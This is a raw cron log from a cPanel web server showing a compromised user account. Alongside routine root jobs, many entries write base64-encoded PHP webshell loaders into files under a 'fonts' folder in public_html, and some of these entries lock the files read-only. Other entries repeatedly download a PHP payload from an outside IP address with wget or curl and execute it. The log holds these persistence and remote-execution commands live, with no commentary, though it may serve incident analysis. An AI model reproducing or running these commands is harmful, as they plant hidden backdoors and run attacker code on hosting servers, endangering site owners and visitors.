Aug 31 16:18:01 ip-184-168-122-23 CROND[27874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:18:01 ip-184-168-122-23 CROND[27875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:19:01 ip-184-168-122-23 CROND[27955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:19:01 ip-184-168-122-23 CROND[27957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:19:01 ip-184-168-122-23 CROND[27956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:19:01 ip-184-168-122-23 CROND[27958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:20:01 ip-184-168-122-23 CROND[28051]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 16:20:01 ip-184-168-122-23 CROND[28052]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:20:01 ip-184-168-122-23 CROND[28056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:20:01 ip-184-168-122-23 CROND[28059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:20:01 ip-184-168-122-23 CROND[28058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:20:01 ip-184-168-122-23 CROND[28060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:20:01 ip-184-168-122-23 CROND[28061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:20:01 ip-184-168-122-23 CROND[28063]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:20:01 ip-184-168-122-23 CROND[28062]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 16:21:01 ip-184-168-122-23 CROND[28253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:21:01 ip-184-168-122-23 CROND[28256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:21:01 ip-184-168-122-23 CROND[28257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:21:01 ip-184-168-122-23 CROND[28255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:22:02 ip-184-168-122-23 CROND[28339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:22:02 ip-184-168-122-23 CROND[28341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:22:02 ip-184-168-122-23 CROND[28342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:22:02 ip-184-168-122-23 CROND[28343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:22:02 ip-184-168-122-23 CROND[28344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:23:01 ip-184-168-122-23 CROND[28430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:23:01 ip-184-168-122-23 CROND[28434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:23:01 ip-184-168-122-23 CROND[28432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:23:01 ip-184-168-122-23 CROND[28433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:24:01 ip-184-168-122-23 CROND[28517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:24:01 ip-184-168-122-23 CROND[28520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:24:01 ip-184-168-122-23 CROND[28519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:24:01 ip-184-168-122-23 CROND[28521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:24:01 ip-184-168-122-23 CROND[28522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:25:01 ip-184-168-122-23 CROND[28625]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 16:25:01 ip-184-168-122-23 CROND[28626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:25:01 ip-184-168-122-23 CROND[28628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:25:01 ip-184-168-122-23 CROND[28630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:25:01 ip-184-168-122-23 CROND[28634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:25:01 ip-184-168-122-23 CROND[28633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:25:01 ip-184-168-122-23 CROND[28632]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:26:01 ip-184-168-122-23 CROND[28824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:26:01 ip-184-168-122-23 CROND[28826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:26:01 ip-184-168-122-23 CROND[28825]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:26:01 ip-184-168-122-23 CROND[28827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:26:01 ip-184-168-122-23 CROND[28828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:27:01 ip-184-168-122-23 CROND[28934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:27:01 ip-184-168-122-23 CROND[28935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:27:01 ip-184-168-122-23 CROND[28937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:27:01 ip-184-168-122-23 CROND[28936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:28:01 ip-184-168-122-23 CROND[29098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:28:01 ip-184-168-122-23 CROND[29102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:28:01 ip-184-168-122-23 CROND[29104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:28:01 ip-184-168-122-23 CROND[29106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:28:01 ip-184-168-122-23 CROND[29105]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:29:01 ip-184-168-122-23 CROND[29235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:29:01 ip-184-168-122-23 CROND[29237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:29:01 ip-184-168-122-23 CROND[29240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:29:01 ip-184-168-122-23 CROND[29241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:30:01 ip-184-168-122-23 CROND[29338]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 16:30:01 ip-184-168-122-23 CROND[29341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:30:01 ip-184-168-122-23 CROND[29342]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 31 16:30:01 ip-184-168-122-23 CROND[29343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:30:01 ip-184-168-122-23 CROND[29344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
